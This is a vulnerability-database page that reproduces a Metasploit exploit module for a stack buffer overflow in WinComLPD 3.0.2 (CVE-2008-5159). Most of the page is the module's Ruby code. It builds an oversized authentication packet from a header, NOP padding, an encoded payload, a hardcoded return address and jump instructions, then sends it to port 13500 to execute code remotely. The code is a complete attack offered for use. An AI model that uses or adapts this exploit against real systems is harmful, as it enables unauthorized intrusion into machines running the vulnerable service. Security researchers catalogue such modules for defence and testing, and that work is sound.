WinComLPD <= 3.0.2 - Buffer Overflow

2014-07-0100:00:00
Root
www.seebug.org
JSON
No description provided by source.

                                                ##
# $Id: wincomlpd_admin.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;WinComLPD &#60;= 3.0.2 Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in WinComLPD &#60;= 3.0.2.
				By sending an overly long authentication packet to the remote
				adminstration service, an attacker may be able to execute arbitrary
				code.
			},
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9583 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2008-5159&#39;],
					[&#39;OSVDB&#39;, &#39;42861&#39;],
					[&#39;BID&#39;, &#39;27614&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 600,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;WinComLPD 3.0.2.623&#39;,   { &#39;Ret&#39; =&#62; 0x0047d7a7 } ],
				],
			&#39;Privileged&#39;     =&#62; true,
			&#39;DisclosureDate&#39; =&#62; &#39;Feb 4 2008&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_options([Opt::RPORT(13500)], self)
	end

	def exploit
		connect

		# &#39;net start lpdservice&#39; after you migrate!
		sploit =  &#34;\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F&#34;
		sploit &#60;&#60; make_nops(872 - payload.encoded.length)
		sploit &#60;&#60; payload.encoded + Rex::Arch::X86.jmp_short(6)
		sploit &#60;&#60; make_nops(2) + [target.ret].pack(&#39;V&#39;) + make_nops(8)
		sploit &#60;&#60; [0xe8, -550].pack(&#39;CV&#39;) + rand_text_alpha(rand(324) + 1)

		print_status(&#34;Trying target #{target.name}...&#34;)

		sock.puts(sploit)
		select(nil,nil,nil,5)

		handler
		disconnect
	end
end
JSON